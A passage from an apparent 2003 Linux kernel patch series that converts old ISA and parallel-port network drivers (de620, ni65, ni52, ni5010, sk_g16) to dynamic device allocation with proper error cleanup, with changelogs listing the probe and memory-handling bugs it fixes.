@@ extern struct net_device *ltpc_probe(void); /* Detachable devices ("pocket adaptors") */ -extern int de620_probe(struct net_device *); +extern struct net_device *de620_probe(int unit); /* Fibre Channel adapters */ extern int iph5526_probe(struct net_device *dev); @@ -292,7 +292,7 @@ {NULL, 0}, }; -static struct devprobe parport_probes[] __initdata = { +static struct devprobe2 parport_probes[] __initdata = { #ifdef CONFIG_DE620 /* D-Link DE-620 adapter */ {de620_probe, 0}, #endif @@ -383,8 +383,7 @@ probe_list(dev, mips_probes) == 0 || probe_list(dev, eisa_probes) == 0 || probe_list(dev, mca_probes) == 0 || - probe_list(dev, isa_probes) == 0 || - probe_list(dev, parport_probes) == 0) + probe_list(dev, isa_probes) == 0) err = register_netdev(dev); if (err) @@ -400,7 +399,7 @@ if (base_addr == 1) return; - return; /* nothing yet */ + probe_list2(unit, parport_probes, base_addr == 0); } #ifdef CONFIG_TR diff -Nru a/drivers/net/de620.c b/drivers/net/de620.c --- a/drivers/net/de620.c Mon Sep 29 09:43:23 2003 +++ b/drivers/net/de620.c Mon Sep 29 09:43:23 2003 @@ -226,7 +226,6 @@ /* Initialization */ static int adapter_init(struct net_device *); -int de620_probe(struct net_device *); static int read_eeprom(struct net_device *); @@ -814,11 +813,16 @@ * * Check if there is a DE-620 connected */ -int __init de620_probe(struct net_device *dev) +struct net_device * __init de620_probe(int unit) { - static struct net_device_stats de620_netstats; - int i; byte checkbyte = 0xa5; + struct net_device *dev; + int err = -ENOMEM; + int i; + + dev = alloc_etherdev(sizeof(struct net_device_stats)); + if (!dev) + goto out; SET_MODULE_OWNER(dev); @@ -831,11 +835,23 @@ dev->base_addr = io; dev->irq = irq; + /* allow overriding parameters on command line */ + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + } + if (de620_debug) printk(version); printk(KERN_INFO "D-Link DE-620 pocket adapter"); + if (!request_region(dev->base_addr, 3, "de620")) { + printk(" io 0x%3lX, which is busy.\n", dev->base_addr); + err = -EBUSY; + goto out1; + } + /* Initially, configure basic nibble mode, so we can read the EEPROM */ NIC_Cmd = DEF_NIC_CMD; de620_set_register(dev, W_EIP, EIPRegister); @@ -846,12 +862,8 @@ if ((checkbyte != 0xa5) || (read_eeprom(dev) != 0)) { printk(" not identified in the printer port\n"); - return -ENODEV; - } - - if (!request_region(dev->base_addr, 3, "de620")) { - printk(KERN_ERR "io 0x%3lX, which is busy.\n", dev->base_addr); - return -EBUSY; + err = -ENODEV; + goto out2; } /* else, got it! */ @@ -870,10 +882,6 @@ else printk(" UTP)\n"); - /* Initialize the device structure. */ - dev->priv = &de620_netstats; - - memset(dev->priv, 0, sizeof(struct net_device_stats)); dev->get_stats = get_stats; dev->open = de620_open; dev->stop = de620_close; @@ -884,8 +892,6 @@ /* base_addr and irq are already set, see above! */ - ether_setup(dev); - /* dump eeprom */ if (de620_debug) { printk("\nEEPROM contents:\n"); @@ -899,7 +905,17 @@ printk("SCR = 0x%02x\n", nic_data.SCR); } - return 0; + err = register_netdev(dev); + if (err) + goto out2; + return dev; + +out2: + release_region(dev->base_addr, 3); +out1: + free_netdev(dev); +out: + return ERR_PTR(err); } /********************************** @@ -994,20 +1010,21 @@ * */ #ifdef MODULE -static struct net_device de620_dev; +static struct net_device *de620_dev; int init_module(void) { - de620_dev.init = de620_probe; - if (register_netdev(&de620_dev) != 0) - return -EIO; + de620_dev = de620_probe(-1); + if (IS_ERR(de620_dev)) + return PTR_ERR(de620_dev); return 0; } void cleanup_module(void) { - unregister_netdev(&de620_dev); - release_region(de620_dev.base_addr, 3); + unregister_netdev(de620_dev); + release_region(de620_dev->base_addr, 3); + free_netdev(de620_dev); } #endif /* MODULE */ MODULE_LICENSE("GPL"); --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="02-ni65.patch" Content-Disposition: attachment; filename="02-ni65.patch" Content-Transfer-Encoding: 7bit From viro NE14-ni65 * switched ni65 to dynamic allocation * ni65: fixed ->irq and ->dma clobbering on autoprobe Additional: * added free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 09:43:46 2003 +++ b/drivers/net/Space.c Mon Sep 29 09:43:46 2003 @@ -70,7 +70,7 @@ extern int e2100_probe(struct net_device *); extern int ni5010_probe(struct net_device *); extern int ni52_probe(struct net_device *); -extern int ni65_probe(struct net_device *); +extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); extern int SK_init(struct net_device *); extern int seeq8005_probe(struct net_device *); @@ -286,6 +286,10 @@ #ifdef CONFIG_NI52 {ni52_probe, 0}, #endif + {NULL, 0}, +}; + +static struct devprobe2 isa_probes2[] __initdata = { #ifdef CONFIG_NI65 {ni65_probe, 0}, #endif @@ -399,6 +403,7 @@ if (base_addr == 1) return; + probe_list2(unit, isa_probes2, base_addr == 0) && probe_list2(unit, parport_probes, base_addr == 0); } diff -Nru a/drivers/net/ni65.c b/drivers/net/ni65.c --- a/drivers/net/ni65.c Mon Sep 29 09:43:46 2003 +++ b/drivers/net/ni65.c Mon Sep 29 09:43:46 2003 @@ -343,29 +343,64 @@ return 0; } +static void cleanup_card(struct net_device *dev) +{ + struct priv *p = (struct priv *) dev->priv; + disable_dma(dev->dma); + free_dma(dev->dma); + release_region(dev->base_addr, cards[p->cardno].total_size); + ni65_free_buffer(p); +} + +/* set: io,irq,dma or set it when calling insmod */ +static int irq; +static int io; +static int dma; + /* * Probe The Card (not the lance-chip) */ -#ifdef MODULE -static -#endif -int __init ni65_probe(struct net_device *dev) +struct net_device * __init ni65_probe(int unit) { - int *port; + struct net_device *dev = alloc_etherdev(0); static int ports[] = {0x360,0x300,0x320,0x340, 0}; + int *port; + int err = 0; - if (dev->base_addr > 0x1ff) /* Check a single specified location. */ - return ni65_probe1(dev, dev->base_addr); - else if (dev->base_addr > 0) /* Don't probe at all. */ - return -ENXIO; + if (!dev) + return ERR_PTR(-ENOMEM); - for (port = ports; *port; port++) - { - if (ni65_probe1(dev, *port) == 0) - return 0; - } - - return -ENODEV; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + irq = dev->irq; + dma = dev->dma; + } else { + dev->base_addr = io; + } + + if (dev->base_addr > 0x1ff) { /* Check a single specified location. */ + err = ni65_probe1(dev, dev->base_addr); + } else if (dev->base_addr > 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { + for (port = ports; *port && ni65_probe1(dev, *port); port++) + ; + if (!*port) + err = -ENODEV; + } + if (err) + goto out; + + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + cleanup_card(dev); +out: + free_netdev(dev); + return ERR_PTR(err); } /* @@ -377,6 +412,9 @@ struct priv *p; unsigned long flags; + dev->irq = irq; + dev->dma = dma; + for(i=0;iwatchdog_timeo = HZ/2; dev->get_stats = ni65_get_stats; dev->set_multicast_list = set_multicast_list; - - ether_setup(dev); - return 0; /* everything is OK */ } @@ -1213,12 +1248,7 @@ } #ifdef MODULE -static struct net_device dev_ni65 = { .base_addr = 0x360, .irq = 9, .init = ni65_probe }; - -/* set: io,irq,dma or set it when calling insmod */ -static int irq; -static int io; -static int dma; +static struct net_device *dev_ni65; MODULE_PARM(irq, "i"); MODULE_PARM(io, "i"); @@ -1229,26 +1259,15 @@ int init_module(void) { - dev_ni65.irq = irq; - dev_ni65.dma = dma; - dev_ni65.base_addr = io; - if (register_netdev(&dev_ni65) != 0) - return -EIO; - return 0; + dev_ni65 = ni65_probe(-1); + return IS_ERR(dev_ni65) ? PTR_ERR(dev_ni65) : 0; } void cleanup_module(void) { - struct priv *p; - p = (struct priv *) dev_ni65.priv; - if(!p) - BUG(); - disable_dma(dev_ni65.dma); - free_dma(dev_ni65.dma); - unregister_netdev(&dev_ni65); - release_region(dev_ni65.base_addr,cards[p->cardno].total_size); - ni65_free_buffer(p); - dev_ni65.priv = NULL; + unregister_netdev(dev_ni65); + cleanup_card(dev_ni65); + free_netdev(dev_ni65); } #endif /* MODULE */ --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="03-ni52.patch" Content-Disposition: attachment; filename="03-ni52.patch" Content-Transfer-Encoding: 7bit From viro NE15-ni52 * switched ni52 to dynamic allocation * ni52: embedded ->priv * ni52: fixed clobbering of everything on autoprobe Additional: * add free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 09:44:07 2003 +++ b/drivers/net/Space.c Mon Sep 29 09:44:07 2003 @@ -69,7 +69,7 @@ extern int lne390_probe(struct net_device *); extern int e2100_probe(struct net_device *); extern int ni5010_probe(struct net_device *); -extern int ni52_probe(struct net_device *); +extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); extern int SK_init(struct net_device *); @@ -283,13 +283,13 @@ #ifdef CONFIG_NI5010 {ni5010_probe, 0}, #endif -#ifdef CONFIG_NI52 - {ni52_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_NI52 + {ni52_probe, 0}, +#endif #ifdef CONFIG_NI65 {ni65_probe, 0}, #endif diff -Nru a/drivers/net/ni52.c b/drivers/net/ni52.c --- a/drivers/net/ni52.c Mon Sep 29 09:44:07 2003 +++ b/drivers/net/ni52.c Mon Sep 29 09:44:07 2003 @@ -354,50 +354,76 @@ memset((char *)p->scb,0,sizeof(struct scb_struct)); } +/* set: io,irq,memstart,memend or set it when calling insmod */ +static int irq=9; +static int io=0x300; +static long memstart; /* e.g 0xd0000 */ +static long memend; /* e.g 0xd4000 */ + /********************************************** * probe the ni5210-card */ -int __init ni52_probe(struct net_device *dev) +struct net_device * __init ni52_probe(int unit) { -#ifndef MODULE - int *port; + struct net_device *dev = alloc_etherdev(sizeof(struct priv)); static int ports[] = {0x300, 0x280, 0x360 , 0x320 , 0x340, 0}; -#endif - int base_addr = dev->base_addr; - - SET_MODULE_OWNER(dev); + int *port; + int err = 0; - if (base_addr > 0x1ff) /* Check a single specified location. */ - return ni52_probe1(dev, base_addr); - else if (base_addr > 0) /* Don't probe at all. */ - return -ENXIO; + if (!dev) + return ERR_PTR(-ENOMEM); -#ifdef MODULE - printk("%s: no autoprobing allowed for modules.\n",dev->name); -#else - for (port = ports; *port; port++) { - int ioaddr = *port; - dev->base_addr = ioaddr; - if (ni52_probe1(dev, ioaddr) == 0) - return 0; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + irq = dev->irq; + memstart = dev->mem_start; + memend = dev->mem_end; } -#ifdef FULL_IO_PROBE - for(dev->base_addr=0x200; dev->base_addr<0x400; dev->base_addr+=8) - if (ni52_probe1(dev, dev->base_addr) == 0) - return 0; -#endif + SET_MODULE_OWNER(dev); + if (io > 0x1ff) { /* Check a single specified location. */ + err = ni52_probe1(dev, io); + } else if (io > 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { + for (port = ports; *port && ni52_probe1(dev, *port) ; port++) + ; + if (*port) + goto got_it; +#ifdef FULL_IO_PROBE + for (io = 0x200; io < 0x400 && ni52_probe1(dev, io); io += 8) + ; + if (io < 0x400) + goto got_it; #endif - - dev->base_addr = base_addr; - return -ENODEV; + err = -ENODEV; + } + if (err) + goto out; +got_it: + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + release_region(dev->base_addr, NI52_TOTAL_SIZE); +out: + free_netdev(dev); + return ERR_PTR(err); } static int __init ni52_probe1(struct net_device *dev,int ioaddr) { int i, size, retval; + dev->base_addr = ioaddr; + dev->irq = irq; + dev->mem_start = memstart; + dev->mem_end = memend; + if (!request_region(ioaddr, NI52_TOTAL_SIZE, dev->name)) return -EBUSY; @@ -416,7 +442,7 @@ goto out; } - printk("%s: NI5210 found at %#3lx, ",dev->name,dev->base_addr); + printk(KERN_INFO "%s: NI5210 found at %#3lx, ",dev->name,dev->base_addr); /* * check (or search) IO-Memory, 8K and 16K @@ -469,13 +495,6 @@ dev->mem_end = dev->mem_start + size; /* set mem_end showed by 'ifconfig' */ #endif - dev->priv = (void *) kmalloc(sizeof(struct priv),GFP_KERNEL); - if(dev->priv == NULL) { - printk("%s: Ooops .. can't allocate private driver memory.\n",dev->name); - retval = -ENOMEM; - goto out; - } - /* warning: we don't free it on errors */ memset((char *) dev->priv,0,sizeof(struct priv)); ((struct priv *) (dev->priv))->memtop = isa_bus_to_virt(dev->mem_start) + size; @@ -503,8 +522,6 @@ if(!dev->irq) { printk("?autoirq, Failed to detect IRQ line!\n"); - kfree(dev->priv); - dev->priv = NULL; retval = -EAGAIN; goto out; } @@ -526,8 +543,6 @@ dev->if_port = 0; - ether_setup(dev); - return 0; out: release_region(ioaddr, NI52_TOTAL_SIZE); @@ -1295,13 +1310,7 @@ } #ifdef MODULE -static struct net_device dev_ni52; - -/* set: io,irq,memstart,memend or set it when calling insmod */ -static int irq=9; -static int io=0x300; -static long memstart; /* e.g 0xd0000 */ -static long memend; /* e.g 0xd4000 */ +static struct net_device *dev_ni52; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); @@ -1318,22 +1327,17 @@ printk("ni52: Autoprobing not allowed for modules.\nni52: Set symbols 'io' 'irq' 'memstart' and 'memend'\n"); return -ENODEV; } - dev_ni52.init = ni52_probe; - dev_ni52.irq = irq; - dev_ni52.base_addr = io; - dev_ni52.mem_end = memend; - dev_ni52.mem_start = memstart; - if (register_netdev(&dev_ni52) != 0) - return -EIO; + dev_ni52 = ni52_probe(-1); + if (IS_ERR(dev_ni52)) + return PTR_ERR(dev_ni52); return 0; } void cleanup_module(void) { - release_region(dev_ni52.base_addr, NI52_TOTAL_SIZE); - unregister_netdev(&dev_ni52); - kfree(dev_ni52.priv); - dev_ni52.priv = NULL; + unregister_netdev(dev_ni52); + release_region(dev_ni52->base_addr, NI52_TOTAL_SIZE); + free_netdev(dev_ni52); } #endif /* MODULE */ --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="04-ni5010.patch" Content-Disposition: attachment; filename="04-ni5010.patch" Content-Transfer-Encoding: 7bit from viro NE16-ni5010 * switched ni5010 to dynamic allocation * ni5010: embedded ->priv * ni5010: fixed clobbering ->irq * ni5010: fixed IO before request_region() Additional: * add free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 09:44:30 2003 +++ b/drivers/net/Space.c Mon Sep 29 09:44:30 2003 @@ -68,7 +68,7 @@ extern int es_probe(struct net_device *); extern int lne390_probe(struct net_device *); extern int e2100_probe(struct net_device *); -extern int ni5010_probe(struct net_device *); +extern struct net_device *ni5010_probe(int unit); extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); @@ -280,13 +280,13 @@ #ifdef CONFIG_SK_G16 {SK_init, 0}, #endif -#ifdef CONFIG_NI5010 - {ni5010_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_NI5010 + {ni5010_probe, 0}, +#endif #ifdef CONFIG_NI52 {ni52_probe, 0}, #endif diff -Nru a/drivers/net/ni5010.c b/drivers/net/ni5010.c --- a/drivers/net/ni5010.c Mon Sep 29 09:44:30 2003 +++ b/drivers/net/ni5010.c Mon Sep 29 09:44:30 2003 @@ -82,7 +82,7 @@ #ifndef FULL_IODETECT /* A zero-terminated list of I/O addresses to be probed. */ -static unsigned int ni5010_portlist[] __initdata = +static unsigned int ports[] __initdata = { 0x300, 0x320, 0x340, 0x360, 0x380, 0x3a0, 0 }; #endif @@ -95,13 +95,11 @@ struct ni5010_local { struct net_device_stats stats; int o_pkt_size; - int i_pkt_size; spinlock_t lock; }; /* Index to functions, as function prototypes. */ -extern int ni5010_probe(struct net_device *dev); static int ni5010_probe1(struct net_device *dev, int ioaddr); static int ni5010_open(struct net_device *dev); static int ni5010_send_packet(struct sk_buff *skb, struct net_device *dev); @@ -120,38 +118,58 @@ static void dump_packet(void *buf, int len); static void ni5010_show_registers(struct net_device *dev); +static int io; +static int irq; -int __init ni5010_probe(struct net_device *dev) +struct net_device * __init ni5010_probe(int unit) { + struct net_device *dev = alloc_etherdev(sizeof(struct ni5010_local)); int *port; - int base_addr = dev->base_addr; + int err = 0; - PRINTK2((KERN_DEBUG "%s: Entering ni5010_probe\n", dev->name)); + if (!dev) + return ERR_PTR(-ENOMEM); - SET_MODULE_OWNER(dev); + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + irq = dev->irq; + } - if (base_addr > 0x1ff) /* Check a single specified location. */ - return ni5010_probe1(dev, base_addr); - else if (base_addr != 0) /* Don't probe at all. */ - return -ENXIO; + PRINTK2((KERN_DEBUG "%s: Entering ni5010_probe\n", dev->name)); + SET_MODULE_OWNER(dev); + + if (io > 0x1ff) { /* Check a single specified location. */ + err = ni5010_probe1(dev, io); + } else if (io != 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { #ifdef FULL_IODETECT - for (int ioaddr=0x200; ioaddr<0x400; ioaddr+=0x20) { - if (check_region(ioaddr, NI5010_IO_EXTENT)) - continue; - if (ni5010_probe1(dev, ioaddr) == 0) - return 0; - } + for (io=0x200; io<0x400 && ni5010_probe1(dev, io) ; io+=0x20) + ; + if (io == 0x400) + err = -ENODEV; + #else - for (port = ni5010_portlist; *port; port++) { - int ioaddr = *port; - if (check_region(ioaddr, NI5010_IO_EXTENT)) - continue; - if (ni5010_probe1(dev, ioaddr) == 0) - return 0; - } + for (port = ports; *port && ni5010_probe1(dev, *port); port++) + ; + if (!*port) + err = -ENODEV; #endif /* FULL_IODETECT */ - return -ENODEV; + } + if (err) + goto out; + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + release_region(dev->base_addr, NI5010_IO_EXTENT); +out: + free_netdev(dev); + return ERR_PTR(err); } static inline int rd_port(int ioaddr) @@ -188,9 +206,17 @@ static int __init ni5010_probe1(struct net_device *dev, int ioaddr) { static unsigned version_printed; + struct ni5010_local *lp; int i; unsigned int data = 0; int boguscount = 40; + int err = -ENODEV; + + dev->base_addr = ioaddr; + dev->irq = irq; + + if (!request_region(ioaddr, NI5010_IO_EXTENT, boardname)) + return -EBUSY; /* * This is no "official" probe method, I've rather tested which @@ -205,36 +231,40 @@ * * - Andreas */ - + PRINTK2((KERN_DEBUG "%s: entering ni5010_probe1(%#3x)\n", dev->name, ioaddr)); - if (inb(ioaddr+0) == 0xff) return -ENODEV; + if (inb(ioaddr+0) == 0xff) + goto out; while ( (rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr)) != 0xff) { - if (boguscount-- == 0) return -ENODEV; + if (boguscount-- == 0) + goto out; } PRINTK2((KERN_DEBUG "%s: I/O #1 passed!\n", dev->name)); for (i=0; i<32; i++) if ( (data = rd_port(ioaddr)) != 0xff) break; - if (data==0xff) return -ENODEV; + if (data==0xff) + goto out; PRINTK2((KERN_DEBUG "%s: I/O #2 passed!\n", dev->name)); - if ( (data == SA_ADDR0) && - (rd_port(ioaddr) == SA_ADDR1) && - (rd_port(ioaddr) == SA_ADDR2) ) { - for (i=0; i<4; i++) rd_port(ioaddr); - if ( (rd_port(ioaddr) != NI5010_MAGICVAL1) || - (rd_port(ioaddr) != NI5010_MAGICVAL2) ) { - return -ENODEV; - } - } else return -ENODEV; - + if ((data != SA_ADDR0) || (rd_port(ioaddr) != SA_ADDR1) || + (rd_port(ioaddr) != SA_ADDR2)) + goto out; + + for (i=0; i<4; i++) + rd_port(ioaddr); + + if ( (rd_port(ioaddr) != NI5010_MAGICVAL1) || + (rd_port(ioaddr) != NI5010_MAGICVAL2) ) + goto out; + PRINTK2((KERN_DEBUG "%s: I/O #3 passed!\n", dev->name)); if (NI5010_DEBUG && version_printed++ == 0) @@ -267,8 +297,9 @@ PRINTK2((KERN_DEBUG "%s: I/O #6 passed!\n", dev->name)); if (dev->irq == 0) { + err = -EAGAIN; printk(KERN_WARNING "%s: no IRQ found!\n", dev->name); - return -EAGAIN; + goto out; } PRINTK2((KERN_DEBUG "%s: I/O #7 passed!\n", dev->name)); } else if (dev->irq == 2) { @@ -278,19 +309,9 @@ PRINTK2((KERN_DEBUG "%s: I/O #9 passed!\n", dev->name)); /* DMA is not supported (yet?), so no use detecting it */ + lp = (struct ni5010_local*)dev->priv; - if (dev->priv == NULL) { - struct ni5010_local* lp; - - dev->priv = kmalloc(sizeof(struct ni5010_local), GFP_KERNEL|GFP_DMA); - if (dev->priv == NULL) { - printk(KERN_WARNING "%s: Failed to allocate private memory\n", dev->name); - return -ENOMEM; - } - - lp = (struct ni5010_local*)dev->priv; - spin_lock_init(&lp->lock); - } + spin_lock_init(&lp->lock); PRINTK2((KERN_DEBUG "%s: I/O #10 passed!\n", dev->name)); @@ -315,9 +336,6 @@ } printk("// bufsize rcv/xmt=%d/%d\n", bufsize_rcv, NI5010_BUFSIZE); memset(dev->priv, 0, sizeof(struct ni5010_local)); - - /* Grab the region so we can find another board if autoIRQ fails. */ - request_region(ioaddr, NI5010_IO_EXTENT, boardname); dev->open = ni5010_open; dev->stop = ni5010_close; @@ -327,9 +345,6 @@ dev->tx_timeout = ni5010_timeout; dev->watchdog_timeo = HZ/20; - /* Fill in the fields of the device structure with ethernet values. */ - ether_setup(dev); - dev->flags &= ~IFF_MULTICAST; /* Multicast doesn't work */ /* Shut up the ni5010 */ @@ -345,6 +360,9 @@ printk(KERN_INFO "Join the NI5010 driver development team!\n"); printk(KERN_INFO "Mail to a.mohr@mailto.de or jvbest@wi.leidenuniv.nl\n"); return 0; +out: + release_region(dev->base_addr, NI5010_IO_EXTENT); + return err; } /* @@ -513,6 +531,7 @@ int ioaddr = dev->base_addr; unsigned char rcv_stat; struct sk_buff *skb; + int i_pkt_size; PRINTK2((KERN_DEBUG "%s: entering ni5010_rx()\n", dev->name)); @@ -532,17 +551,17 @@ outb(0xff, EDLC_RCLR); /* Clear the interrupt */ - lp->i_pkt_size = inw(IE_RCNT); - if (lp->i_pkt_size > ETH_FRAME_LEN || lp->i_pkt_size < 10 ) { + i_pkt_size = inw(IE_RCNT); + if (i_pkt_size > ETH_FRAME_LEN || i_pkt_size < 10 ) { PRINTK((KERN_DEBUG "%s: Packet size error, packet size = %#4.4x\n", - dev->name, lp->i_pkt_size)); + dev->name, i_pkt_size)); lp->stats.rx_errors++; lp->stats.rx_length_errors++; return; } /* Malloc up new buffer. */ - skb = dev_alloc_skb(lp->i_pkt_size + 3); + skb = dev_alloc_skb(i_pkt_size + 3); if (skb == NULL) { printk(KERN_WARNING "%s: Memory squeeze, dropping packet.\n", dev->name); lp->stats.rx_dropped++; @@ -555,7 +574,7 @@ /* Read packet into buffer */ outb(MM_MUX, IE_MMODE); /* Rcv buffer to system bus */ outw(0, IE_GP); /* Seek to beginning of packet */ - insb(IE_RBUF, skb_put(skb, lp->i_pkt_size), lp->i_pkt_size); + insb(IE_RBUF, skb_put(skb, i_pkt_size), i_pkt_size); if (NI5010_DEBUG >= 4) dump_packet(skb->data, skb->len); @@ -564,10 +583,10 @@ netif_rx(skb); dev->last_rx = jiffies; lp->stats.rx_packets++; - lp->stats.rx_bytes += lp->i_pkt_size; + lp->stats.rx_bytes += i_pkt_size; PRINTK2((KERN_DEBUG "%s: Received packet, size=%#4.4x\n", - dev->name, lp->i_pkt_size)); + dev->name, i_pkt_size)); } @@ -697,10 +716,10 @@ if (NI5010_DEBUG > 3) dump_packet(buf, length); - buf_offs = NI5010_BUFSIZE - length - pad; - lp->o_pkt_size = length + pad; + buf_offs = NI5010_BUFSIZE - length - pad; spin_lock_irqsave(&lp->lock, flags); + lp->o_pkt_size = length + pad; outb(0, EDLC_RMASK); /* Mask all receive interrupts */ outb(0, IE_MMODE); /* Put Xmit buffer on system bus */ @@ -745,9 +764,7 @@ } #ifdef MODULE -static struct net_device dev_ni5010; -static int io; -static int irq; +static struct net_device *dev_ni5010; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); @@ -756,8 +773,6 @@ int init_module(void) { - int result; - PRINTK2((KERN_DEBUG "%s: entering init_module\n", boardname)); /* if(io <= 0 || irq == 0){ @@ -771,29 +786,18 @@ } PRINTK2((KERN_DEBUG "%s: init_module irq=%#2x, io=%#3x\n", boardname, irq, io)); - dev_ni5010.irq=irq; - dev_ni5010.base_addr=io; - dev_ni5010.init=ni5010_probe; - if ((result = register_netdev(&dev_ni5010)) != 0) { - PRINTK((KERN_WARNING "%s: register_netdev returned %d.\n", - boardname, result)); - return -EIO; - } + dev_ni5010 = ni5010_probe(-1); + if (IS_ERR(dev_ni5010)) + return PTR_ERR(dev_ni5010); return 0; } -void -cleanup_module(void) +void cleanup_module(void) { PRINTK2((KERN_DEBUG "%s: entering cleanup_module\n", boardname)); - - unregister_netdev(&dev_ni5010); - - release_region(dev_ni5010.base_addr, NI5010_IO_EXTENT); - if (dev_ni5010.priv != NULL){ - kfree(dev_ni5010.priv); - dev_ni5010.priv = NULL; - } + unregister_netdev(dev_ni5010); + release_region(dev_ni5010->base_addr, NI5010_IO_EXTENT); + free_netdev(dev_ni5010); } #endif /* MODULE */ MODULE_LICENSE("GPL"); --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="05-sk16.patch" Content-Disposition: attachment; filename="05-sk16.patch" Content-Transfer-Encoding: 7bit from viro NE17-sk16 * switched sk_g16 to dynamic allocation * sk_g16: embedded ->priv * sk_g16: fixed buggy check for signature (|| instead of &&, somebody forgot to replace it when inverting the test). * sk_g16: fixed use after kfree() * sk_g16: fixed init_etherdev() race Additional: * add free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 09:44:51 2003 +++ b/drivers/net/Space.c Mon Sep 29 09:44:51 2003 @@ -72,7 +72,7 @@ extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); -extern int SK_init(struct net_device *); +extern struct net_device *SK_init(int unit); extern int seeq8005_probe(struct net_device *); extern int smc_init( struct net_device * ); extern int atarilance_probe(struct net_device *); @@ -277,13 +277,13 @@ #ifdef CONFIG_ELPLUS /* 3c505 */ {elplus_probe, 0}, #endif -#ifdef CONFIG_SK_G16 - {SK_init, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_SK_G16 + {SK_init, 0}, +#endif #ifdef CONFIG_NI5010 {ni5010_probe, 0}, #endif diff -Nru a/drivers/net/sk_g16.c b/drivers/net/sk_g16.c --- a/drivers/net/sk_g16.c Mon Sep 29 09:44:51 2003 +++ b/drivers/net/sk_g16.c Mon Sep 29 09:44:51 2003 @@ -457,8 +457,6 @@ /* static variables */ static SK_RAM *board; /* pointer to our memory mapped board components */ -static struct net_device *SK_dev; -unsigned long SK_ioaddr; static spinlock_t SK_lock = SPIN_LOCK_UNLOCKED; /* Macros */ @@ -472,7 +470,6 @@ * See for short explanation of each function its definitions header. */ -int SK_init(struct net_device *dev); static int SK_probe(struct net_device *dev, short ioaddr); static void SK_timeout(struct net_device *dev); @@ -530,84 +527,71 @@ * YY/MM/DD uid Description -*/ +static int io; /* 0 == probe */ + /* * Check for a network adaptor of this type, and return '0' if one exists. * If dev->base_addr == 0, probe all likely locations. * If dev->base_addr == 1, always return failure. */ -int __init SK_init(struct net_device *dev) +struct net_device * __init SK_init(int unit) { - int ioaddr; /* I/O port address used for POS regs */ int *port, ports[] = SK_IO_PORTS; /* SK_G16 supported ports */ static unsigned version_printed; + struct net_device *dev = alloc_etherdev(sizeof(struct priv)); + int err = -ENODEV; + + if (!dev) + return ERR_PTR(-ENOMEM); - /* get preconfigured base_addr from dev which is done in Space.c */ - int base_addr = dev->base_addr; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + } if (version_printed++ == 0) PRINTK(("%s: %s", SK_NAME, rcsid)); - if (base_addr > 0x0ff) /* Check a single specified address */ - { - int rc = -ENODEV; - - ioaddr = base_addr; + if (io > 0xff) { /* Check a single specified address */ + err = -EBUSY; + /* Check if on specified address is a SK_G16 */ + if (request_region(io, ETHERCARD_TOTAL_SIZE, "sk_g16")) { + err = SK_probe(dev, io); + if (!err) + goto got_it; + release_region(io, ETHERCARD_TOTAL_SIZE); + } + } else if (io > 0) { /* Don't probe at all */ + err = -ENXIO; + } else { + /* Autoprobe base_addr */ + for (port = &ports[0]; *port; port++) { + io = *port; + + /* Check if I/O Port region is used by another board */ + if (!request_region(io, ETHERCARD_TOTAL_SIZE, "sk_g16")) + continue; /* Try next Port address */ + + /* Check if at ioaddr is a SK_G16 */ + if (SK_probe(dev, io) == 0) + goto got_it; - /* Check if on specified address is a SK_G16 */ - if (!request_region(ioaddr, ETHERCARD_TOTAL_SIZE, "sk_g16")) - return -EBUSY; - - if ( (inb(SK_POS0) == SK_IDLOW) || - (inb(SK_POS1) == SK_IDHIGH) ) - { - rc = SK_probe(dev, ioaddr); - } - - if (rc) - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - return rc; + release_region(io, ETHERCARD_TOTAL_SIZE); + } } - else if (base_addr > 0) /* Don't probe at all */ - { - return -ENXIO; +err_out: + free_netdev(dev); + return ERR_PTR(err); + +got_it: + err = register_netdev(dev); + if (err) { + release_region(dev->base_addr, ETHERCARD_TOTAL_SIZE); + goto err_out; } - - /* Autoprobe base_addr */ - - for (port = &ports[0]; *port; port++) - { - ioaddr = *port; 